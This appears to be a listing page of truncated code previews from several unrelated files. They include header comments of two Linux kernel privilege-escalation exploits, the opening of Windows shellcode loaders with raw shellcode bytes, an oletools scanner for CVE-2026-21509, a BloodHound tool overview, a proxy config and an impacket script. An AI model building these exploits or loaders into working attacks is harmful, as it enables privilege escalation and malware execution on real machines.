| // | |
| // dotdot.m | |
| // dotdot | |
| // | |
| // Created by roooot on 03.08.26. | |
| // Copyright (C) 2026 roooot | |
| // | |
| // This program is free software: you can redistribute it and/or modify | |
| // it under the terms of the GNU Affero General Public License as published | |
| // by the Free Software Foundation, either version 3 of the License, or |
A structured overview of the BloodHound attack-path analysis ecosystem — official ingestors, community collectors, converters, ADWS alternatives, analysis tools, deployment helpers, and supporting frameworks.
Legend
- 🟢 Official — maintained by SpecterOps
- 🔵 Community — third-party / unofficial
| /* | |
| * gro_frag.c — LPE via GRO managed-frag UAF (io_uring SEND_ZC + veth) | |
| * | |
| * The bug: skb_gro_receive() copies frag descriptors from a ZC skb | |
| * (SKBFL_MANAGED_FRAG_REFS → no per-frag page refs) into a non-ZC | |
| * GRO accumulator. When the accumulator is freed, skb_release_data() | |
| * calls put_page() on each frag — including the stolen ones that never | |
| * had get_page() called. This gives us one extra put_page per merged | |
| * ZC frag: a refcount underflow. | |
| * |
| /* | |
| * sockmap_lpe_ktls.c — full LPE via kTLS + sockmap page cache corruption | |
| * | |
| * https://lore.kernel.org/stable/20260517121626.406516-1-rollkingzzc@gmail.com/ | |
| * | |
| * Works on ALL kernels 4.18+ (including 6.5+ where sendpage was removed). | |
| * | |
| * Chain: sendfile → tls_sw_sendmsg(MSG_SPLICE_PAGES) | |
| * → tls_sw_sendmsg_splice → sk_msg_page_add(msg_pl, page) | |
| * → bpf_exec_tx_verdict(msg_pl) |
| # script to scan MS Office files, looking for "Shell.Explorer" OLE objects which could match CVE-2026-21509 | |
| # using oletools - https://github.com/decalage2/oletools | |
| # Philippe Lagadec 2026-01-28 | |
| # NOTES: | |
| # According to the MS advisory https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21509 | |
| # the CVE-2026-21509 vulnerability is related to CLSID "EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B", | |
| # corresponding to the "Shell.Explorer" COM object, which can be used to open the legacy | |
| # Internet Explorer engine (aka Trident/MSHTML) from any application. | |
| # So to exploit CVE2026-21509 from a MS Office document, one could use either an OLE object |
| #include <windows.h> | |
| #include <wininet.h> | |
| #include <stdio.h> | |
| #pragma comment(lib, "wininet.lib") | |
| // notepad.exe shellcode | |
| char shellcode[] = { | |
| 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, | |
| 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, |
| #include <stdio.h> | |
| #include <windows.h> | |
| // Shellcode template from: https://gist.github.com/kkent030315/b508e56a5cb0e3577908484fa4978f12 | |
| // Compile using: x86_64-w64-mingw32-gcc -m64 enclave.c -o enclace.exe -lntdll | |
| EXTERN_C NTSYSAPI | |
| NTSTATUS | |
| NTAPI LdrCallEnclave( | |
| _In_ PENCLAVE_ROUTINE Routine, |
| stream { | |
| map $ssl_preread_server_name $singbox { | |
| trojan.example.com trojan; | |
| trojan-ws.example.com trojan-ws; | |
| trojan-ws-6.example.com trojan-ws-6; | |
| vmess.example.com vmess; | |
| vmess-ws.example.com vmess-ws; | |
| vmess-ws-6.example.com vmess-ws-6; | |
| } | |
| upstream trojan { |
| from impacket.dcerpc.v5 import epm, lsad, rpcrt, transport, lsat, ndr, nrpc | |
| from impacket.uuid import bin_to_uuidtup | |
| from binascii import unhexlify | |
| from random import randbytes | |
| import sys | |
| # Perform a lsarlookupsids3 with a trust account, it uses netlogon as SSP (see [MS-NRPC] 3.3) | |
| # Pure TCP RPC is used (ncacn_ip_tcp option) | |
| # AES is used, so you need impacket #1848 (https://github.com/fortra/impacket/pull/1848) | |
| # Tested with impacket 0.12.0 on GOAD |
